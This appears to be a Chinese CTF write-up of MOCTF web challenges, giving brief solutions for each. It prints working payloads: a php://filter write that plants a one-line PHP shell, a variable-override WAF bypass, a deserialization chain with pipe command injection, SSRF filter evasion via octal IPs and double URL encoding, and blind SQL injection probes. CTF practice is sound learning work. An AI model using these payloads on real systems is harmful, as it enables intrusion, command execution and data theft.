2019-04-19

MOCTF -WEB

9、暴躁老板

抓包

10、Flag在哪

抓取重定向

11、美味的饼干

发现cookie中存在base64编码+md5编码


改成admin并修改cookie即可

12、没时间解释了

发现index2.php,可能是重定向。

13、死亡退出

参考地址:https://blog.csdn.net/stepone4ward/article/details/86651041

@file_put_contents($filename, $c);

在向tmp.php中写入数据时利用php伪协议file=php://filter/read=convert.base64-decode/resource=tmp.php

c中写入base64编码的一句话

因为最前面的phpexit7位,因为base64算法解码时是4个byte一组,所以要加上一个a补全8位,

aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

构造post    file=php://filter/write=convert.base64-decode/resource=tmp.php&c=aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

14、火眼金睛

交个脚本就行


15、unset

代码审计,估计要用到unset

unset(bar);用来销毁指定的变量,如果变量bar);用来销毁指定的变量,如果变量bar 包含在请求参数中,可能出现销毁一些变量而实现程序逻辑绕过。


要求key中不能出现flag,但是又要$_GET['flag']。。。

所以利用

如果_POST、_GET中的某一键值对已经存在,就销毁这个key-value,从而绕过waf()


再利用POST中的数组重新进行键值对的赋值,因为GET中的键值对为$flag=s878926199a

而下面需要的是_GET[flag]

构造  http://119.23.73.3:5101/?flag=s878926199a&daiker=s155964671a&file=php://filter/read=convert.base64-encode/resource=flag.php 

POST:    _GET[flag]=s878926199a&_GET[daiker]=s155964671a&_GET[file]=php://filter/read=convert.base64-encode/resource=flag.php

16、PUNG

在学校那个页面的源代码中提示index.php.bak

下载

1、存在class.php,以及需要利用反序列化。

试试class.php.bak文件

首先是_destruct(),waf()是啥不知道。。

如果weapon==="AWM",这里要绕过_wakeup,否则武器被赋值为98k,

调用Get_air_drops($this->bag);

然后    Get_air_drops($b)    是    $this->$b();

在调用不存在的方法时调用    _call()



很明显要利用参数可控的

$file = explode(".",$method);

if(file_exists(".//class$file[0].php"))

已知    system("php .//class//win.php"); 存在

于是构造    //win

system("php .//class//$method.php");

再利用管道符读取flag

于是构造"//win.php | cat ./class/flag"

构造反序列化


17、网站检测

参考wp:https://blog.csdn.net/stepone4ward/article/details/86701123

试一下http://www.moctf.com

发现这个检测器会将页面的主要内容输出到屏幕,尝试一下http://www.moctf.com/flag.php


SSRF漏洞(服务器端请求漏洞)是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。因为其是由服务器端发生的请求,所以可以访问到外网无法访问到的内部系统。其绕过方式为在真实地址后加上@+想要伪造访问的地址

这道题给出的hint为docker -p 10001:80

我们需要访问的是本地的ip,但是题目过滤了dot和127,因此对于dot我们采取url编码的方式绕过,但此时的“.”为%2e,依旧会被识别,此时我们需要使用url二次编码来进行绕过。对于127.0.0.1我们则采取改变进制的方法进行绕过。

SSRF,过滤了.和127

最基本的payload为:http://[email protected]/flag.php

可以利用url二次编码的方式绕过.127.0.0.1可以用localhost试试,发现不行

将127.0.0.1转为8进制结果为017700000001

url=http%3A%2F%2Fwww.moctf.com@017700000001/%25%36%36%25%36%43%25%36%31%25%36%37%25%32%45%25%37%30%25%36%38%25%37%30

18、简单注入

参考wp:https://www.jianshu.com/p/4bf347959bd5

多次尝试发现    id=1'and'1'='1    可以盲注了


判断可用字符

利用相同方法带入发现union联合注入、or、<、>都不可用。

可以使用and、select查询字符。

bool盲注,脚本以此类推

你可能感兴趣的:(2019-04-19)